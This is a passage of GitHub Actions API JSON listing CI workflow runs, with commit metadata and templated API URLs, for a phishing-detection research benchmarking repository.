"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292080978,"node_id":"MDExOldvcmtmbG93UnVuMjkyMDgwOTc4","head_branch":"x_spam_flag","head_sha":"8b25ed8d9153ee37a4db0c2038524b337457d65f","run_number":1075,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1298621746,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk4NjIxNzQ2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292080978","pull_requests":[],"created_at":"2020-10-06T19:37:45Z","updated_at":"2020-10-06T22:21:45Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1298621746","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"8b25ed8d9153ee37a4db0c2038524b337457d65f","tree_id":"6e0244b6a82f48e9b48a2e16b763a7b8988355d3","message":"Additional Email Unit-tests","timestamp":"2020-10-06T19:37:31Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292080359,"node_id":"MDExOldvcmtmbG93UnVuMjkyMDgwMzU5","head_branch":"x_spam_flag","head_sha":"4e74b5af49195487cc25e3c1ab441bf9847e0fd9","run_number":1074,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1298619940,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk4NjE5OTQw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292080359","pull_requests":[],"created_at":"2020-10-06T19:37:25Z","updated_at":"2020-10-06T21:20:46Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1298619940","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"4e74b5af49195487cc25e3c1ab441bf9847e0fd9","tree_id":"77aa1beb0d2e686b25f12f2d46699b0ff3df537b","message":"Fixed header.x_spam_flag","timestamp":"2020-10-06T19:37:11Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287536368,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTM2MzY4","head_branch":"master","head_sha":"bf815420f6e3d3a3b5ab169bda7b374650cd636f","run_number":1073,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285669384,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjY5Mzg0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287536368","pull_requests":[],"created_at":"2020-10-04T07:05:29Z","updated_at":"2020-10-04T07:18:33Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285669384","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"bf815420f6e3d3a3b5ab169bda7b374650cd636f","tree_id":"6a25a48c32108163a381fbbdd757f91aa980cadd","message":"Updated Changelog","timestamp":"2020-10-04T07:05:12Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Dete